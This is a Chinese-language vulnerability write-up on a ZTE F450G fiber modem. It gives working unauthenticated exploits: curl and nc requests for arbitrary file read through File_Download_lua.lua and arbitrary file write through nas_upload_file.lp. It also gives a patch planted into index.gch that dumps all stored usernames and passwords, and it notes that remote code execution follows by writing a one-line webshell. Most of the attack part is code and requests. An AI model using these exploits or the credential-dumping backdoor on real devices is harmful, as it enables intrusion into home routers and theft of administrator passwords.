$ cat /posts/how-to-rce-zte-f450g-v2.0.0p1t1sh.txt |=------=[ 漏洞挖掘:电信光猫ZTE-F450G-V2.0.0P1T1sh / tr3e ]=------=| --[ 1 - 前言 上个月搬了个家,新住处的电信光猫用的是ZTE e8C F450G V2.0.0P1T1sh,为了能够充分利用公网IP,因此尝 试着”破解“这个设备。 原以为网上会有丰富的免拆机方法可供选择,但事实上在尝试了相同硬件型号、软件版本的各类“破解教程“之 后,都没有成功。 在剩下的可行选项里,仅剩*reset大法*和*TTL大法*这类需要与物理设备接触的方式,这里给出这类方式的链 接: - http://www.chinadsl.net/forum.php?mod=viewthread&tid=126463&highlight=F450G&_dsign=022af6c9 而作为一名安全研究员自然希望能够在“不脏手”的条件下进行远程破解,于是我开始尝试分析这个固件,从而 有了下文。 *注:固件下载自http://www.chinadsl.net/thread-165553-1-1.html,感谢“东华网络”的发帖* --[ 2 - 文件系统 在binwalk解包之后,直奔主题“文件系统”。 从`/linuxrc -> /bin/busybox`入手,不难发现设备初始化后会在`/home/httpd`目录下通过`/bin/httpd`对外 暴露web服务。 以下是`/home/httpd`的文件目录结构 * tree * ------------------------------------------------------------------------------------------------ . ├── ... ├── common_gch.gch ├── common_page │ ├── aset_accountSetting_js.lp │ ├── aset_accountSetting.lp │ ├── aset_formatDev.lp │ ├── aset_gatewaySleepSetting_js.lp │ ├── aset_gatewaySleepSetting.lp │ ├── aset_lanSetting_js.lp │ ├── aset_lanSetting.lp │ ├── aset_ledcontrlSetting_js.lp │ ├── aset_ledcontrlSetting.lp │ ├── aset_pppoeSetting_js.lp │ ├── aset_pppoeSetting.lp │ ├── aset_recovery.lp │ ├── aset_resetRecovery_js.lp │ ├── aset_restart.lp │ ├── aset_wifiSetting_js.lp │ ├── aset_wifiSetting.lp │ ├── aset_wifiTimerSetting_js.lp │ ├── aset_wifiTimerSetting.lp │ ├── commonpageFrame.lp │ ├── commonpageFrame.lua │ ├── devstatus.lua │ ├── dhcpdevstatus.lua │ ├── File_Download_lua.lua │ ├── gatewayInfo.lua │ ├── gatewayManage.lua │ ├── gatewaysleepinfoManage.lua │ ├── getLocalIp.lua │ ├── index_js.lp │ ├── iptvvoipstatus.lua │ ├── laninfoManage.lua │ ├── ledinfoManage.lua │ ├── main.lp │ ├── memCpuRateInfo.lua │ ├── nas_disk_list_lua.lua │ ├── nas_js.lp │ ├── nas_t.lp │ ├── nas_upload_file.lp │ ├── nas_view_directory_lua.lua │ ├── pluginConfigManage.lua │ ├── pppoeAccount.lua │ ├── pppoeSetting.lua │ ├── skydriverright.lua │ ├── storageManage.lua │ ├── subcommonpageFrame.lp │ ├── sys_devinfo.lp │ ├── sys_dhcpDevInfo_js.lp │ ├── sys_dhcpDevInfo.lp │ ├── sys_gatewayInfo_js.lp │ ├── sys_gatewayInfo.lp │ ├── sys_hangingDevInfo_js.lp │ ├── sys_hangingDevInfo.lp │ ├── sys_pluginInfo_js.lp │ ├── sys_pluginInfo.lp │ ├── sys_pluginstatus.lua │ ├── sys_wlanInfo_js.lp │ ├── sys_wlanInfo.lp │ ├── userinfoManage.lua │ ├── wan_func.lua │ ├── wifiinfoManage.lua │ ├── wifitimerinfoManage.lua │ ├── wlaninfo.lua │ └── wlanstatus.lua ├── public │ ├── index.gch │ └── ... ├── register.gch ├── registerLang.gch ├── return2factory.gch ├── sapi.lua └── ... 33 directories, 567 files ------------------------------------------------------------------------------------------------ --[ 3 - 任意文件读取 在大致浏览文件结构的时候,有一个文件命名格外扎眼`/home/httpd/common_page/File_Download_lua.lua`, * Lua * ------------------------------------------------------------------------------------------------ local lfs = require "lfs" local FP_FILEPATH = cgilua.QUERY.IF_FILEPATH FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEpLuSzTe", "+") FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEeQuAlzTe", "=") FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEaNdSzTe", "&") if FP_FILEPATH == nil or FP_FILEPATH == "" then return end ... local block = 512 * 1024 while true do local bytes = f:read(block) if not bytes then sapi.Response.writebinary("") local ret = sapi.Response.flush() break end sapi.Response.writebinary(bytes) local ret = sapi.Response.flush() if -1 == ret then break end end f:close() local downtype = cgilua.QUERY.downtype if "1" == downtype then local tmpfileName = FP_FILEPATH local setable = {} setable["pcFileName"] = tmpfileName local tError = cmapi.setinst("OBJ_SgwExStrDelFile_ID", "IGD", setable) end ------------------------------------------------------------------------------------------------ 这段代码在未认证下允许通过query参数`IF_FILEPATH`下载指定路径的文件,也就是无条件的任意文件读取。 ----[ 3.1 - PoC * Shell * ------------------------------------------------------------------------------------------------ $ curl '192.168.1.1/common_page/File_Download_lua.lua?IF_FILEPATH=/home/httpd/config/config.lua' --ignore-content-length LANG = "utf-8" LOG_LEVEL = "DEBUG" HTTP/1.1 200 OK Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: application/octet-stream Cache-Control: no-cache,no-store Content-Length: 0 Content-Disposition: attachment; filename="file" content-Transfer-Encoding: binary Content-Length: 35 ------------------------------------------------------------------------------------------------ 由于光猫设备实现上的问题,用`nc`发送HTTP/0.9请求来读取文件会更好看一些 * Shell * ------------------------------------------------------------------------------------------------ $ nc 192.168.1.1 80 GET /common_page/File_Download_lua.lua?IF_FILEPATH=/home/httpd/config/config.lua window.parent.parent.location.href = "/"; LANG = "utf-8" LOG_LEVEL = "DEBUG" ------------------------------------------------------------------------------------------------ 事实上,这个漏洞在网上已经公开了很多次,搜索关键词也能找到类似的PoC,如: - 中兴F452光猫获取超管的方法:https://www.94la.net/134/ - 电信光猫超级密码破解,适用于绝大多数光猫:http://isakray.com/post-113.html --[ 4 - 任意文件写入 由于发现任意文件读取的过程过于顺利,很容易让人联想到是否存在任意文件写入?是的,它存在。 `/home/httpd/sapi.lua`是所有请求处理的入口,其中调用了`cgilua.main()`用于处理请求,而`/home/http d/cgilua.lua`代码如下: * Lua * ------------------------------------------------------------------------------------------------ ... local function getparams() QUERY = {} urlcode.parsequery(servervariable "QUERY_STRING", QUERY) requestmethod = servervariable "REQUEST_METHOD" POST = {} POST_DESC = { isExceedMaxInput = false, maxFileSize = _maxfilesize } if requestmethod == "POST" then post.parsedata { read = sapi.Request.getpostdata, readupload = sapi.Request.getpostdataupload, discardinput = ap and ap.discard_request_body, content_type = servervariable "CONTENT_TYPE", content_length = servervariable "CONTENT_LENGTH", content_length_lua = servervariable "CONTENT_LENGTH_LUA", maxinput = _maxinput, maxfilesize = _maxfilesize, args = POST, POST_DESC = POST_DESC } end QUERY = {} urlcode.parsequery(servervariable "QUERY_STRING", QUERY) end function main() sapi = _G.sapi addscripthandler("lua", doscript) addscripthandler("lp", handlelp) pcall( function() _G.require "cgilua.loader" end ) pcall( function() _G.require "cgilua.post" end ) if loader then loader.init() end _G.require("logging.console") _G.g_logger = _G.logging.console() if not pcall(getparams) then return nil end local result ... result, err = pcall( function() return handle(script_file) end ) ... end ------------------------------------------------------------------------------------------------ 在函数`cgilua.main()`中调用了`cgilua.getparams()`,而该函数在POST请求下会调用`cgilua.post.parsed ata()`来解析请求体内容。 那么`cgilua.post.parsedata()`是如何实现解析的呢?文件`/home/httpd/cgilua/post.lua`内容如下: * Lua * ------------------------------------------------------------------------------------------------ require "cgilua.readuntil" require "cgilua.urlcode" local assert, error, pairs, tonumber, tostring, type = assert, error, pairs, tonumber, tostring, type local getn, tinsert = table.getn, table.insert local format, gsub, strfind, strlower, strlen = string.format, string.gsub, string.find, string. lower, string.len local min = math.min local iterate = cgilua.readuntil.iterate local urlcode = cgilua.urlcode local tmpfile = cgilua.tmpfile local boundary = nil local maxfilesize = nil local maxinput = nil local inputfile = nil local bytesleft = nil local content_type = nil local discardinput = nil local readuntil = nil local read = nil local _open = io.open local _G, sapi = _G, sapi local cgilua = cgilua local openlua = fileapi.openlua local closelua = fileapi.closelua local writelua = fileapi.writelua local seeklua = fileapi.seeklua module("cgilua.post") local function getboundary() local _, _, boundary = strfind(content_type, "boundary%=(.-)$") return "--" .. boundary end local function breakheaders(hdrdata) local headers = {} gsub( hdrdata, "([^%c%s:]+):%s+([^\n]+)", function(type, val) type = strlower(type) headers[type] = val end ) return headers end local function readfieldheaders() local EOH = "\r\n\r\n" local hdrdata = "" local out = function(str) hdrdata = hdrdata .. str end if readuntil(EOH, out) then return breakheaders(hdrdata) else return nil end end local function getfieldnames(headers) local disposition_hdr = headers["content-disposition"] local attrs = {} if disposition_hdr then gsub( disposition_hdr, ';%s*([^%s=]+)="(.-)"', function(attr, val) attrs[attr] = val end ) else error("Error processing multipart/form-data." .. "\nMissing content-disposition header") end return attrs.name, attrs.filename end local function readfieldcontents() local value = "" local boundaryline = "\r\n" .. boundary local out = function(str) value = value .. str end if readuntil(boundaryline, out) then return value else error("Error processing multipart/form-data.\nUnexpected end of input\n") end end local function fileupload(filename) local uploadDir = cgilua.QUERY["pathOfDir"] local pmark = cgilua.QUERY["pmark"] local emark = cgilua.QUERY["emark"] local amark = cgilua.QUERY["amark"] if pmark ~= nil and pmark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEpLuSzTe", "+") end if emark ~= nil and emark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEeQuAlzTe", "=") end if amark ~= nil and amark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEaNdSzTe", "&") end _G.print("post uploadDir" .. uploadDir .. "||filename=" .. filename) filename = uploadDir .. "/" .. filename local file, err = _open(filename, "wb+") if file == nil then discardinput(inputsize) end inputfile = file local bytesread = 0 local isExceedMaxSize = false local boundaryline = "\r\n" .. boundary local out = function(str) local sl = strlen(str) if bytesread + sl > maxfilesize then discardinput(bytesleft) isExceedMaxSize = true return end file:write(str) bytesread = bytesread + sl end if readuntil(boundaryline, out) then file:seek("set", 0) file:close() return file, bytesread, isExceedMaxSize else error(format("Error processing multipart/form-data.\nUnexpected end of input while uploa ding %s", filename)) end end local function filevalue(filehandle, filename, filesize, isExceedMaxSize, headers) local value = { file = filehandle, filename = filename, filesize = filesize, isExceedMaxSize = isExceedMaxSize } for hdr, hdrval in pairs(headers) do if hdr ~= "content-disposition" then value[hdr] = hdrval end end return value end local function Main(inputsize, args, POST_DESC) bytesleft = inputsize maxfilesize = maxfilesize or inputsize boundary = getboundary() while true do local headers = readfieldheaders() if not headers then break end local name, filename = getfieldnames(headers) local value if filename then if (strfind(filename, "\\")) then -- get the filename for IE of windows, do not affect the other Browers filename = filename:match(".+\\([^\\]*%.%w+)$") end local filehandle, filesize, isExceedMaxSize = fileupload(filename) value = filevalue(filehandle, filename, filesize, isExceedMaxSize, headers) else value = readfieldcontents() end -- insert the form field into table [[args]] urlcode.insertfield(args, name, value) end end -- -- Initialize the library by setting the dependent functions: -- content_type = value of "Content-type" header -- content_length = value of "Content-length" header -- read = function that can read POST data -- discardinput (optional) = function that discard POST data -- maxinput (optional) = limit of POST data (in bytes) -- maxfilesize (optional) = limit of uploaded file(s) (in bytes) -- local function init(defs) assert(defs.read) read = defs.read assert(defs.readupload) readupload = defs.readupload readuntil = iterate( function() if bytesleft then if bytesleft <= 0 then return nil end local n = min(bytesleft, 2 ^ 20) -- 2^20 == 1048576 == 1M local bytes = nil if strfind(defs.content_type, "multipart/form-data", 1, true) then bytes = readupload(n) else bytes = read(n) end bytesleft = bytesleft - #bytes return bytes end end ) if defs.discard_function then discardinput = defs.discardinput else discardinput = function(inputsize) readuntil( "\0", function() end ) end end content_type = defs.content_type if defs.maxinput then maxinput = defs.maxinput end if defs.maxfilesize then maxfilesize = defs.maxfilesize end end ---------------------------------------------------------------------------- -- Parse the POST REQUEST incoming data according to its "content type" -- as defined by the metavariable CONTENT_TYPE (RFC CGI) -- -- An error is issued if the "total" size of the incoming data -- (defined by the metavariable CONTENT_LENGTH) exceeds the -- maximum input size allowed ---------------------------------------------------------------------------- function parsedata(defs) assert(type(defs.args) == "table", "field `args' must be a table") init(defs) -- get the "total" size of the incoming data local inputsize = tonumber(defs.content_length_lua) or 0 if inputsize > maxinput then -- content length exceed limit _G.g_logger:warn("inputsize(" .. inputsize .. ") > maxinput(" .. maxinput .. ")") -- some Web Servers (like IIS) require that all the incoming data is read bytesleft = inputsize --discardinput(inputsize) -- comment error statement to prevent Internal Error -- error(format("Total size of incoming data (%d KB) exceeds configured maximum (%d KB)" , --inputsize /1024, maxinput / 1024)) -- telling user uploading file exceed limit defs.POST_DESC["isExceedMaxInput"] = true -- entity content discarded inputsize = 0 return end -- process the incoming data according to its content type local contenttype = content_type if not contenttype then error("Undefined Media Type") end if strfind(contenttype, "x-www-form-urlencoded", 1, true) then urlcode.parsequery(read(inputsize), defs.args) elseif strfind(contenttype, "multipart/form-data", 1, true) then --Version & Config uploading implemented by upload.c, --where all http body has already been read , ie inputsize == 0, --thus skip reread it. if inputsize > 0 then Main(inputsize, defs.args, defs.POST_DESC) end elseif strfind(contenttype, "application/xml", 1, true) or strfind(contenttype, "text/xml", 1, true) or strfind(contenttype, "text/plain", 1, true) then tinsert(defs.args, read(inputsize)) else error("Unsupported Media Type: " .. contenttype) end end ------------------------------------------------------------------------------------------------ 当请求Content-Type是multipart/form-data时,函数调用链如下`cgilua.post.parsedata() -> cgilua.post .Main() -> cgilua.post.fileupload()`。 而在`cgilua.post.fileupload()`中,没有对上传的文件名做过滤,在未认证下允许通过表单字段`filename` 来写入指定路径的文件,也就是无条件的任意文件写入。 ----[ 4.1 - PoC * Shell * ------------------------------------------------------------------------------------------------ $ curl -F "file=@tmp.txt;filename=/tmp/test.txt" '192.168.1.1/common_page/nas_upload_file.lp?pat hOfDir=%2f' NAS 文件上传
------------------------------------------------------------------------------------------------ 同样下面也附带上`nc`方式的利用,值得注意的是由于设备实现上要求使用CRLF,所以`nc`方式需要加一个参 数`-C`,来把LR转换成CRLF。 * Shell * ------------------------------------------------------------------------------------------------ $ nc -C 192.168.1.1 80 POST /common_page/nas_upload_file.lp?pathOfDir=%2f HTTP/1.1 Host: 192.168.1.1 Content-Type: multipart/form-data; boundary=X Content-Length: 93 --X Content-Disposition: form-data;name="_";filename="/tmp/test.txt" Pwned by tr3e --X-- ------------------------------------------------------------------------------------------------ --[ 5 - 远程代码执行 由于我的目的是获取telecomadmin的密码,以下附带上泄露密码的patch。 * diff * ------------------------------------------------------------------------------------------------ --- index.gch 2022-01-15 23:18:20.000000000 +0800 +++ index.gch 2022-01-15 23:18:23.000000000 +0800 @@ -71,6 +71,22 @@ Padding so that MSIE deigns to show this error instead of its own canned one. Padding so that MSIE deigns to show this error instead of its own canned one. Padding so that MSIE deigns to show this error instead of its own canned one. + +<% +if (request_uri == "/dump_user_info.gch") { +var FP_OBJNAME = "OBJ_USERINFO_ID"; +var FP_INSTNUM = query_list(FP_OBJNAME, "IGD"); +for (var i = 0; i < FP_INSTNUM; i++) { + var FP_IDENTITY = query_identity(i); + var FP_HANDLE = create_paralist(); + get_inst(FP_HANDLE, FP_OBJNAME, FP_IDENTITY); + var username = get_para(FP_HANDLE, "Username"); + var password = get_para(FP_HANDLE, "Password"); + destroy_paralist(FP_HANDLE); +%><%=username;%> : <%=password;%> +<% +}} +%> -->
Mini web server 1.0 ZTE corp 2005.
------------------------------------------------------------------------------------------------ 这个patch对`/home/httpd/public/index.gch`做了修改,当请求路径为dump_user_info.gch时会把密码输出在 注释里。 而对于远程代码执行的话,只需要写入一句话木马即可,不再赘述。